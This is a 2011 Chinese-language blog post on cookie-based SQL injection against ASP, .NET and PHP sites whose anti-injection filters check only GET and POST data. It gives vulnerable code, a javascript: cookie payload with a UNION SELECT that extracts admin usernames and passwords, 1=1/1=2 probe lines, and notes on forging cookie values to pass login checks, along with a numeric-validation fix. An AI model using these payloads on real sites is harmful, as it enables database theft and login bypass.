http://hi.baidu.com/micropoor

//2011-11-23 星期三
//Cookie篇
/*

*/
讲起注入,就要从防住入说起,但防注入一般只对QueryString和Form做了防范,却忽略了Cookies,自然,注入就产生了,我们从实战出发。
//程序员思想
//Micropoor.asp代码片段
<% 
//略 
Set rsnews=Server.CreateObject("ADODB.RecordSet")  
sql="update news set hits=hits+1 where id="&cstr(request("id")) 
conn.execute sql 
//略
%>
单纯的reuqest(),并没用指定是request.querystring(),还是request.form,或request.cookie ().
//我们的思想
[url]http://hi.baidu.com/micropoor/Micropoor.asp[/url] 
javascript:alert(document.cookie="id="+escape("107 and 1=2 union select 1,username,password,4,5,6,7,8,9,10,11 from admin"))
 
//新闻也发言----Asp程序员要说话
Request.QueryString (GET) 或 Request.Form (POST)是用于读取用户发给WEB服务器的指定键中的值,但是往往,我们就写成了:ID=Request("ID")
于是今天的PHP安全新闻早8点也就产生了。
WEB服务先取GET中的数据,如果没有再取POST中的数据,还有Cookies中的数据.了解了这些,我们回头再看方注入系统。检测GET和POST中的数据(部分带有关键词,select and 等)
于是就出现了//我们的思想。
//站在Asp程序员考虑
如果程序员使用Request.QueryString或者Request.Form是无法利用Cookies绕过防注入系统进行注入的。服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,服务程序是不处理的。
 
//新闻也发言----.Net程序员要说话
//程序员思想
//Micropoor.aspx代码片段
Response.Cookies["id"].Value = uid;
//COOKIES记录了用户的ID,当需要用到ID时,就通过用户搜索信息
if(Request.Cookies["id"]!=null)
{
id=Request.Cookies["id"].value;
string str="select * from userTable where id="+id;
//略
}
//我们的思想
Cookies["id"]的值改成Sql;实现COOKIES注入。
//站在.Net程序员考虑
加强对ID的过滤,这里对懒程序员说针对数字参数搞了一个类来判断是否为数字
if(Request.Cookies["id"]!=null)
{
uid=Request.Cookies["id"].value;
isnumeric cooidesID = new isnumeric();//这是一个类
if (cooidesID.reIsnumeric(ruid))//如果是数字就运行下面的
{
string str="select * from userTable where id="+id;
//略
}
}
//参考类:
public class isnumeric
{
 public isnumeric()
 {
  //
  // TODO: 在此处添加构造函数逻辑
  //
 }
    public bool reIsnumeric(string num)
    {
        Regex IsN = new Regex(@"^\d+$");//这里使用正则表达式
        bool reNum;
        if (IsN.IsMatch(num))
        {
            reNum=true;
        }
        else
        {
            reNum=false;
        }
        return reNum;
    }
}
//前台调用:
isnumeric InNum = new isnumeric();
            if (InNum.reIsnumeric(id.ToString()))
            {
//你的代码 
}
else
{
                Response.Redirect("Micropoorr.aspx");
                Response.End();
}
 
//新闻也发言----Php程序员要说话
//程序员思想
//Micropoor.php代码片段
<?php
//略
if (!isset($_COOKIE['userid']) || empty($_COOKIE['userid'])){
setcookie(lastURL,get_url());//上次访问地址  
header("Location: login.php");  

?>
//我们的思想
通过cookie伪造userid=任意值。
//程序员思想
//Micropoor.php代码片段
<?php
$cookie = $_COOKIE[admin];
if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login"&& $_GET[op] != "logout") {
include("../templates/wr_header.php");
echo "Enter admin username and password to log in";
//略
?>
 
//新闻也学习
//判断cookies注入的js语句
javascript:alert(document.cookie="参数= "+escape("参数值 and 1=1"));self.open("http://+"document.location.host+document.location.pathname);void(0);
javascript:alert(document.cookie="参数="+escape("参数值 and 1=2"));self.open("http://+"document.location.host+document.location.pathname);void(0);

    结论:安全就像大学一样,上与被上在于你。